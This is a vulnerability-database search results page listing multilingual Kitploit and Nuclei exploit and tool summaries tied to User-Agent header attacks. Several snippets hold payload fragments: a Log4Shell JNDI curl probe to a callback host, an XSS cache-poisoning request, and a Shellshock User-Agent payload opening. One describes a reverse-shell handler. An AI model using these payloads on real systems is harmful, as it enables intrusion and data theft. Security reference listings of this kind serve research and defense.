Lucene search
+L

2033 matches found

Kitploit
Kitploit
added 2026/08/26 1:15 a.m.1 views

CVE_POC_test

CVEPOCtest CVE-2019-13086 취약점의 재현 및 PoC 실험 코드 원본 CVE 정보: https://vulners.com/cve/CVE-2019-13086 실험 환경: CSZ CMS 아키텍처 + php5.4 + MySQL 5.5 + Apache 2.4 취약점 유형: SQL 인젝션 취약점, 파일 업로드 취약점 간단한 설명: \cszcms\cszcms\core\MYSecurity.php의 csrfshowerror 함수에서 HTTP 패킷의 User-Agent 필드는 데이터베이스 쿼리 문에 추가되기 전에 어떠한 내용...

9.8CVSS6.1AI score0.31996EPSS
SaveExploits2
Kitploit
Kitploit
added 2026/08/26 12:29 a.m.2 views

Goreport

Goreport v3.0, Gophish 보고 도구 이 스크립트는 Gophish 캠페인 ID를 매개변수로 받아 캠페인 결과를 수집하여 통계를 제시하고, IP 주소에 대한 사용자 에이전트 파싱 및 지리적 위치 조회를 수행합니다. Goreport는 IP 주소, 운영 체제, 브라우저 유형 및 버전, 위치 목록을 생성하며, 각 항목이 캠페인 전체에서 관찰된 횟수를 포함합니다. 통계 관련 참고 사항: Goreport는 전체 이벤트 수와 각 이벤트에 참여한 이메일 수신자 수를 보고합니다. 즉, Goreport는 Gophish가...

6AI score
SaveExploits0
Kitploit
Kitploit
added 2026/08/26 12:18 a.m.1 views

vaas-cve-2014-6271

脆弱性 as a Service - CVE 2014-6271 脆弱なバージョンのbashを搭載したDebian Buster Linuxシステムと、CVS-2014-6271(別名Shellshock)を実演するWebアプリケーションです。 概要 このDockerコンテナはDebian Busterをベースにしており、脆弱なバージョンのBash(bash4.2:2b:dfsg-0.1)を使用するように変更されています。 Apache 2を介してWebアプリケーションが利用可能で、シェルコマンドを実行するCGIスクリプトを提供します。 使用方法 コンテナをインストールするには、dock...

10CVSS8.5AI score0.99999EPSS
SaveExploits138
Kitploit
Kitploit
added 2026/08/25 11:08 p.m.1 views

CVE-2026-54806

WP Activity Log PHP 객체 주입 CVE-2026-54806 PoC 📜 설명 CVE-2026-54806은 Melapress의 WP Activity Log WordPress 플러그인wp-security-audit-log에서 발견된 치명적인CVSS 9.8 인증되지 않은 PHP 객체 주입 취약점입니다. 인증되지 않은 공격자는 기록된 이벤트예: 로그인 실패를 트리거하는 모든 요청의 User-Agent 헤더를 통해 직렬화된 PHP 객체를 주입할 수 있습니다. 주입된 페이로드는 데이터베이스에 저장되며, 관리자가 WordPre...

9.8CVSS6.8AI score0.00699EPSS
SaveExploits1
Kitploit
Kitploit
added 2026/08/25 8:41 p.m.1 views

CVE-2024-46982-Reproduction

はじめに 1. Node.js LTS をインストールする 2. npm install 3. npm run build 4. npm run start 悪用方法1: キャッシュポイズニングによる格納型XSS 1. 任意のHTTPクライアントを使用して、次のHTTPリクエスト(攻撃リクエスト)を送信します。 root@kitploit: GET /poc?nextDataReq=1 HTTP/1.1 Host: localhost:3000 User-Agent: alert'XSS' x-now-route-matches: 1 2...

7.5CVSS0.5918EPSS
SaveExploits3
Kitploit
Kitploit
added 2026/08/25 7:12 p.m.69 views

xsssniper

XSSSNIPER xsssniper is an handy xss discovery tool with mass scanning functionalities. Usage: root@kitploit: Usage: xsssniper.py options Options: -h, --help show this help message and exit -u URL, --url=URL target URL --post try a post request to target url --data=POSTDATA post data to use...

5.6AI score
SaveExploits0
Kitploit
Kitploit
added 2026/08/25 6:11 p.m.3 views

OSTE-Web-Log-Analyzer

OSTE-Web-Log-Analyzer Python 웹 로그 분석기로 웹 서버 로그 분석 과정을 자동화하세요. 이 강력한 도구는 서버 로그 내에서 다양한 유형의 사이버 공격을 식별하고 탐지하여 보안을 강화하도록 설계되었습니다. 다음과 같은 기능을 통해 잠재적 위협보다 앞서 나가십시오: 목차 특징 향후 기능 설치 사용법 기여 라이선스 특징 1. 공격 탐지: 잠재적인 크로스 사이트 스크립팅XSS, 로컬 파일 포함LFI, 원격 파일 포함RFI 및 기타 일반적인 웹 애플리케이션 공격을 식별하고 플래그를 지정합니다. 2. 속도 제한...

5.4AI score
SaveExploits0References1
Kitploit
Kitploit
added 2026/08/25 5:24 p.m.1 views

CVE-2014-6271-Apache-Debian

CVE-2014-6271-Apache-Debian 개요 이 리포지토리는 CVE-2014-6271의 PoC 환경입니다. apache2 컨테이너 이미지를 사용하여 취약점을 포함한 웹 서비스를 배포할 수 있습니다. 사전 준비 이미지 빌드 Dockerfile에서 안전하지 않은 이미지를 빌드합니다. root@kitploit: docker build -t cve-2014-6271-apache-debian:buster ./insecure-base-image/ docker build -t training-website-poc:v1.0...

10CVSS8.7AI score0.99999EPSS
SaveExploits138References2
Kitploit
Kitploit
added 2026/08/25 5:00 p.m.35 views

apidetector

APIDetector is a powerful and efficient tool designed for testing exposed Swagger endpoints in various subdomains with unique smart capabilities to detect false-positives. It's particularly useful for security professionals and developers who are engaged in API testing and vulnerability scanning...

5.7AI score
SaveExploits0References1
Kitploit
Kitploit
added 2026/08/25 3:42 p.m.179 views

scour

Scour - AWS Detection Framework This tool is used to emulate attack patterns inside of the AWS Controlplane. Each attack is tagged with a specific UA for the blue team to signal off of. Status This is still an active work in progress. Lots of Bugs Not ready for production Where to file issues :...

5.9AI score
SaveExploits0References3
Kitploit
Kitploit
added 2026/08/25 1:18 p.m.1 views

Shellbash-CVE-2014-6271

Shellshock 破壳漏洞(CVE-2014-6271) 编译运行: root@kitploit: docker-compose up -d 服务启动后,有两个页面http://your-ip:8080/victim.cgi和http://your-ip:8080/safe.cgi。其中safe.cgi是最新版bash生成的页面,victim.cgi是bash4.3生成的页面。 将payload附在User-Agent中访问victim.cgi: root@kitploit: User-Agent: foo; ; echo Content-Type: text/plain; echo...

10CVSS8.7AI score0.99999EPSS
SaveExploits138
Kitploit
Kitploit
added 2026/08/25 1:14 p.m.2 views

CVE-2021-42697

Akka HTTP 10.1.x10.1.15 미만 및 10.2.x10.2.7 미만는 HTTP 헤더를 파싱하는 동안 스택 고갈stack exhaustion이 발생할 수 있으며, 이로 인해 원격 공격자가 깊이 중첩된 주석이 포함된 User-Agent 헤더를 전송하여 서비스 거부DoS 공격을 수행할 수 있습니다. 참고 자료 MITRE Akka 블로그 주석의 임의 중첩 기본 Akka 설정 가이드 PoC 참고 사항 테스트 대상 버전: 10.2.4 대상 서버 핑거프린트: akka-http/ 페이로드 스니펫: User-Agent:...

7.5CVSS7.5AI score0.36139EPSS
SaveExploits5
Kitploit
Kitploit
added 2026/08/25 9:48 a.m.3 views

log4shell-demo

Log4ShellCVE-2021-44228에 취약한 간단한 Spring Boot 애플리케이션 기본 로깅 프레임워크를 logback에서 log4j2로 변경 애플리케이션은 'User-Agent' 헤더를 로깅하므로, curl과 interactsh-service를 사용하여 취약점을 테스트할 수 있습니다: root@kitploit: curl -A '$jndi:ldap://interactsh-url/a' http://target-service/ app.interactsh.com에서 DNS 상호작용을 확인할 수 있습니다. Docker hu...

10CVSS5.5AI score0.99999EPSS
SaveExploits363References1
Nuclei
Nuclei
added 2026/08/25 6:03 a.m.6 views

W3 Total Cache <= 2.9.3 - Unauthenticated Dynamic Security Token Disclosure

The W3 Total Cache WordPress plugin through version 2.9.3 skips its entire output buffering and processing pipeline whenever an incoming request's User-Agent header contains the string "W3 Total Cache", without authenticating the caller. On sites that use developer-placed dynamic fragment tags, t...

7.5CVSS5.2AI score0.03057EPSS
SaveExploits0References5
Nuclei
Nuclei
added 2026/08/25 6:03 a.m.130 views

Piwigo 13.7.0 - SQL Injection

Piwigo is open source photo gallery software. Prior to version 13.8.0, there is a SQL Injection vulnerability in the login of the administrator screen. The SQL statement that acquires the HTTP Header User-Agent is vulnerable at the endpoint that records user information when logging in to the...

9.8CVSS9AI score0.97405EPSS
SaveExploits20References5
Kitploit
Kitploit
added 2026/08/25 5:10 a.m.1 views

webhandler

WebHandler PHP 시스템 함수를 위한 핸들러이자 'netcat' 대체 핸들러 정보 WebHandler는 'Linux bash 프롬프트'를 시뮬레이션하여 다음을 처리합니다: root@kitploit: - PHP 프로그램 실행 함수 예: system, passthru, exec 등 - 바인드 셸 연결 - 리버스 셸 연결 또 다른 기능은 HTTP 헤더의 "User-Agent" 필드를 스푸핑하는 것입니다. --random-angent. HTTP 프록시도 지원합니다 --proxy http://: WebHandler는 POST ...

5.8AI score
SaveExploits0References2
Kitploit
Kitploit
added 2026/08/25 4:59 a.m.165 views

rbuster

Rbuster yet another dirbuster Common Command line options -a - specify a user agent string to send in the request -c - use this to specify any cookies that you might need simulating auth. header. -f - force processing of a domain with wildcard results. -l - show the length of the response. -r...

5.6AI score
SaveExploits0
Kitploit
Kitploit
added 2026/08/25 4:37 a.m.2 views

br0w

br0w Br0wをハックしよう | ブラウザを操作して、もっと学ぼう、ハックを楽しもう!! Br0wは、ブラウザをツールとして使い、時に人々がその恩恵を忘れがちなWebセキュリティについて学ぶためのシンプルなWebサイトです。Capture The Flag CTF に近いかもしれません。 チャレンジの一つは、CSSの無効化やbase64エンコード・デコードをコンソール経由で行うことです。https://labs.tegalsec.org/br0w/ でプレイしてみてください。 チャレンジ一覧 : root@kitploit: Chall 1 | User-Agent Chall 2 ...

5.4AI score
SaveExploits0
Kitploit
Kitploit
added 2026/08/25 4:31 a.m.1 views

CVE-2025-59712_CVE-2025-59713

CVE-2025-59712 및 CVE-2025-59713에 대한 PoC 이 PoC는 CVE-2025-59712User-Agent 헤더의 XSS와 CVE-2025-59713안전하지 않은 역직렬화을 악용하는 자동화 스크립트를 제공합니다. 배경 이 두 취약점은 Snipe-IT 소프트웨어에 대한 취약점 연구 중 Synacktiv에 의해 발견되었습니다. Snipe-IT는 Laravel 기반의 오픈소스 자산 관리 시스템으로, 조직이 물리적 및 디지털 자산을 추적하고 관리할 수 있도록 설계되었습니다. 기술적인 분석 내용은 Synacktiv...

8.1CVSS5.2AI score0.00374EPSS
SaveExploits1
Kitploit
Kitploit
added 2026/08/25 4:30 a.m.1 views

CVE-2025-9816

CVE-2025-9816 WP-Statistics プラグインの格納型XSS スキャナー 検出 & PoC "WordPress 用の「WP Statistics – 最もプライバシーに配慮した人気の分析プラグイン」は、入力のサニタイズと出力エスケープが不十分なため、14.5.4 までのすべてのバージョンにおいて、User-Agent ヘッダーを介した格納型クロスサイトスクリプティングに対して脆弱です。これにより、認証されていない攻撃者がページ内に任意のWebスクリプトを注入し、ユーザーがその注入されたページにアクセスするたびに実行される可能性があります。" 使用方法...

7.2CVSS5.2AI score0.09051EPSS
SaveExploits0
Rows per page
Query Builder